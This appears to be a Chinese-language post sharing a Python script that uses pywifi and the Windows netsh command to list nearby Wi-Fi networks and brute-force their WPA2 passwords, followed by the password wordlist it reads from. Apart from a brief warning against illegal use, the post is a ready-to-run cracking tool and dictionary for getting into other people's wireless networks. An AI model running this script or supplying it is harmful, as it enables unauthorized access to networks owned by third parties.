结果还是看运气
不要过度以及违法使用
单次连接时间自由调整:我自己测试时1秒够了
#wifi连接时间
time.sleep(1)
import subprocess
import pywifi
from pywifi import const
import time
#测试连接,返回链接结果
def wifiConnect(pwd,name):
#抓取网卡接口")
wifi=pywifi.PyWiFi()
#获取第一个无线网卡")
ifaces=wifi.interfaces()[0]
#断开所有连接
ifaces.disconnect()
#断开所有连接")
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.IFACE_DISCONNECTED:
profile=pywifi.Profile()
#WiFi名称
profile.ssid=name
#网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher=const.CIPHER_TYPE_CCMP
#密码
profile.key=pwd
#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(1)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
#读取WiFi
def readWIFI():
result = subprocess.check_output(['netsh', 'wlan', 'show', 'network'])
result = result.decode('gbk')
lst = result.split('\r\n')
lst = lst[4:]
lstResult = []
for index in range(len(lst)):
if index % 5 == 0 and len(lst[index]) > 7 :
lstResult.append(lst[index][9:])
return lstResult
#读取密码本
def readPassword(name):
print("开始破解:",name)
#密码本路径
path="D:/security/Password.txt"
#打开文件
file=open(path,"r")
while True:
try:
pad=file.readline()
bool=wifiConnect(pad , name )
if len(pad) < 7:
return False
if bool:
print(name,"密码已破解:",pad)
return True
else:
#跳出当前循环,进行下一次循环
print(name,"密码破解中....: ",pad)
except:
print("错误")
return False
#main
def main():
lst = readWIFI()
print(lst)
for name in lst :
bol = readPassword(name)
if bol :
break
main()
Password.txt
123456789
987654321
12345678
87654321
11223344
147258369
1234567890
0123456789
012345678
123321123
88888888
00000000
66668888
66666666
11111111
a123456789
1qaz2wsx
1111111111
xiazhili
789456123
password
qqqqqqqq
000000000
qwertyuiop
qq123456
iloveyou
31415926
0000000000
asdfghjkl
1q2w3e4r
123456abc
12121212
qazwsxedc
abcd1234
12341234
110110110
asdasdasd
22222222
abc123456
a12345678
123456123
a1234567
1234qwer
qwertyui
123456789a
aa123456
asdfasdf
99999999
999999999
123456aa
123456123456
520520520
963852741
741852963
55555555
33333333
qwer1234
asd123456
77777777
qweasdzxc
code8925
11112222
ms0083jxj
zzzzzzzz
111222333
qweqweqwe
3.1415926
123456qq
147852369
521521521
asdf1234
123698745
1123581321
asdfghjk
q1w2e3r4
12345678a
woaini1314
1234abcd
123qweasd
1qazxsw2
woaiwojia
321321321
05962514787
123456987
kingcom5
zxcvbnm123
5845201314
0987654321
wwwwwwww
11111111111111111111
12345600
11235813
1q2w3e4r5t
10101010
123456asd